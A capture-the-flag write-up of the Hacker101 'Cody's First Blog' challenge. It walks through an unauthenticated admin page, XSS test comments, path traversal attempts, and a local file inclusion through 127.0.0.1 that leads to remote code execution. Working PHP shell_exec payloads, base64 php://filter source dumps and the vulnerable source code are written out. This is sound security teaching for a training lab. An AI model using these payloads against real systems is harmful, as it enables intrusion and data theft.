On visiting Cody's blog, I'm greeted by the following:

Home

Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.

September 1, 2018 -- First

First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it is a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().

Stick around for a while and comment as much as you want; all thoughts are welcome!




Comments

Add comment:


Entering a comment "Hello! I agree wholeheartedly that PHP is the perfect template language." doesn't accomplish anything other than bringing us to a page with the message "Comment submitted and awaiting approval!". Despite appealing to his ego, there's no comment on the main page when navigating back. I'm going to need to do this myself.

The source of this app immediately provides a hint: An admin login page can be accessed by passing the get parameters "?page=admin.auth.inc":

<!doctype html>
<html>
	<head>
		<title>Home -- Cody's First Blog</title>
	</head>
	<body>
		<h1>Home</h1>
		<p>Welcome to my blog!  I'm excited to share my thoughts with the world.  I have many important and controversial positions, which I hope to get across here.</p>

		<h2>September 1, 2018 -- First</h2>
		<p>First post!  I built this blog engine around one basic concept: PHP doesn't need a template language because it <i>is</i> a template language.  This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().</p>
		<p>Stick around for a while and comment as much as you want; all thoughts are welcome!</p>


		<br>
		<br>
		<hr>
		<h3>Comments</h3>
		<!--<a href="?page=admin.auth.inc">Admin login</a>-->
		<h4>Add comment:</h4>
		<form method="POST">
			<textarea rows="4" cols="60" name="body"></textarea><br>
			<input type="submit" value="Submit">
		</form>
	</body>
</html>

This renders the login form at the top of the page, and the comment section remains:

Admin Login

Username:
Password:

Incorrect username or password



Comments

Add comment:


It's tempting to want to rush into brute forcing that login, but entering random values yields "Incorrect username or password". Without knowing a username in advance I'd need to fuzz the entire wordlist of common passwords across a range of common admin usernames, and even then I might still come up empty. I'm going to keep this in my back pocket for later if nothing else works.

Given Cody's post above about using includes in php, I have a hunch that this is is just replacing the main php file containing his first blog post with the admin.auth.inc php file using something like: <?php include 'admin.auth.inc';?>. What if Cody wrote another php page "admin.inc"?

Admin

Pending Comments


Comment on home.inc

Hello! I agree wholeheartedly that PHP is the perfect template language.

Approve Comment


Comments

Add comment:



Admin flag is ^FLAG^****************************************************************$FLAG$

He sure did, and there's no authentication verification at all. Authentication bypass accomplished. For this, I've secured a flag and can see the comment I tried to post earlier waiting for approval. Time to go back and try another comment, this time with an XSS payload. Approving a comment with <script>console.log(1);</script> or <script>alert(1);</script> works great, but there's no flag for this.

What else might be possible? Path traversals to non php files? How about <?php include '../../../etc/passwd';?>That doesn't work, it just returns the following error message:

Notice: Undefined variable: title in /app/index.php on line 30


Warning: include(../../../etc/passwd';.php): failed to open stream: No such file or directory in /app/index.php on line 21

Warning: include(): Failed opening '../../../etc/passwd';.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /app/index.php on line 21

What about including an arbitrary php include in the comment itself? <?php include($_GET['file']);?>?

^FLAG^****************************************************************$FLAG$

Comment submitted and awaiting approval!

Go back

Revisiting the page with ?file=../etc/passwd or similar doesn't appear to do much unfortunately, because the injected php tags are being sanitized:

<!--?php include($_GET['file']);?-->

I tried various tricks to try and bypass this behaviour, but none worked. One such example was:

--> <?php echo "bypassed!";?> <!--

Despite failing, this attempt in particular turned out to be very useful later on. Cody is pretty much taunting us to achieve a remote file inclusion with his first post. I started by systematically trying all the LFI tricks in https://book.hacktricks.xyz/pentesting-web/file-inclusion

It became obvious that most of these approaches weren't going to work, including tricks using:

php://filter/convert/...
data://data://text/plain;base64,...
php://input ...

At this point I was a bit frustrated. None of the obvious things were working, and I was stretching for anything. I tried the following to get the server to loop back to itself and attempt a LFI:

https://*.ctf.hacker101.com/?page=http://127.0.0.1/.htaccess


Notice: Undefined variable: title in /app/index.php on line 30


Warning: include(http://127.0.0.1/.htaccess.php): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden in /app/index.php on line 21

Warning: include(): Failed opening 'http://127.0.0.1/.htaccess.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /app/index.php on line 21



Comments

Add comment:


Huh. "Warning: include(http://127.0.0.1/.htaccess.php): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden in /app/index.php on line 21". That's interesting. First, it's appending ".php" to the end of the included files. Second, clearly URLs are allowed in the includes. What else can be included with this localhost approach?

https://f4771459e1d845877434d365ddc67b4f.ctf.hacker101.com/?page=http://127.0.0.1/index

Home

Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.

September 1, 2018 -- First

First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it is a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().

Stick around for a while and comment as much as you want; all thoughts are welcome!




Comments

Add comment:




Notice: Undefined index: file in http://127.0.0.1/index.php on line 26

Warning: include(): Filename cannot be empty in http://127.0.0.1/index.php on line 26

Warning: include(): Failed opening '' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in http://127.0.0.1/index.php on line 26


--> bypassed!

Add comment:


Woah. My earlier attempt to inject "bypassed!" via an echo just worked. I just accidentally figured out how to bypass the sanitization and achieve full RCE. Time to start exploiting it with new comments (on a clean instance to clear out some of the mess I just made):

<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>


Notice: Undefined variable: title in /app/index.php on line 30

Home -- Cody's First Blog

Home

Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.

September 1, 2018 -- First

First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it is a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().

Stick around for a while and comment as much as you want; all thoughts are welcome!




Comments

Add comment:



total 116
-rw-r--r-- 1 root root   154 Dec 12  2018 setup.sh
drwxr-xr-x 2 root root  4096 Dec 12  2018 posts
-rw-r--r-- 1 root root   356 Dec 12  2018 admin.auth.inc.php
-rw-r--r-- 1 root root 69889 Dec 12  2018 php.ini
-rw-r--r-- 1 root root   412 Dec 12  2018 home.inc.php
-rw-r--r-- 1 root root   495 Dec 12  2018 admin.inc.php
-rw-r--r-- 1 root root   372 Dec 12  2018 Dockerfile
-rw-r--r-- 1 root root   278 Dec 12  2018 000-default.conf
drwxr-xr-x 1 root root  4096 Aug  3 21:40 ..
-rw-r--r-- 1 root root  1502 Aug  3 21:40 index.php
drwxr-xr-x 1 root root  4096 Aug  3 21:40 .

Awesome, I also want to know if there are any hidden secrets in the posts folder:

<?php
$output = shell_exec('ls -lart posts/');
echo "<pre>$output</pre>";
?>

total 16
-rw-r--r-- 1 root root  414 Dec 12  2018 first.inc.php
drwxr-xr-x 2 root root 4096 Dec 12  2018 .
drwxr-xr-x 1 root root 4096 Aug  3 21:40 ..

Nothing interesting. Next it will be great to see all the source code for Cody's blog to know where else to look for this last flag. To ensure the code can be exfiltrated without being processed into HTML by php, I'll just dump them each to base64 to be decoded locally:

<?php

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/index.php");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/setup.sh");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/admin.auth.inc.php");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/php.ini");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/admin.inc.php");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/Dockerfile");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/000-default.conf");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/posts/first.inc.php");
echo "<br><br>";
?>

I didn't need to keep looking long. Decoding the index.php file yields the last flag in a comment right at the top:

<?php
	// ^FLAG^****************************************************************$FLAG$
	mysql_connect("localhost", "root", "");
	mysql_select_db("level4");
	$page = isset($_GET['page']) ? $_GET['page'] : 'home.inc';
	if(strpos($page, ':') !== false && substr($page, 0, 5) !== "http:")
		$page = "home.inc";

	if(isset($_POST['body'])) {
		mysql_query("INSERT INTO comments (page, body, approved) VALUES ('" . mysql_real_escape_string($page) . "', '" . mysql_real_escape_string($_POST['body']) . "', 0)");
		if(strpos($_POST['body'], '<?php') !== false)
			echo '<p>^FLAG^****************************************************************$FLAG$</p>';
?>
	<p>Comment submitted and awaiting approval!</p>
	<a href="javascript:window.history.back()">Go back</a>
<?php
		exit();
	}

	ob_start();
	include($page . ".php");
	$body = ob_get_clean();
?>
<!doctype html>
<html>
	<head>
		<title><?php echo $title; ?> -- Cody's First Blog</title>
	</head>
	<body>
		<h1><?php echo $title; ?></h1>
		<?php echo $body; ?>
		<br>
		<br>
		<hr>
		<h3>Comments</h3>
		<!--<a href="?page=admin.auth.inc">Admin login</a>-->
		<h4>Add comment:</h4>
		<form method="POST">
			<textarea rows="4" cols="60" name="body"></textarea><br>
			<input type="submit" value="Submit">
		</form>
<?php
	$q = mysql_query("SELECT body FROM comments WHERE page='" . mysql_real_escape_string($page) . "' AND approved=1");
	while($row = mysql_fetch_assoc($q)) {
		?>
		<hr>
		<p><?php echo $row["body"]; ?></p>
		<?php
	}
?>
	</body>
</html>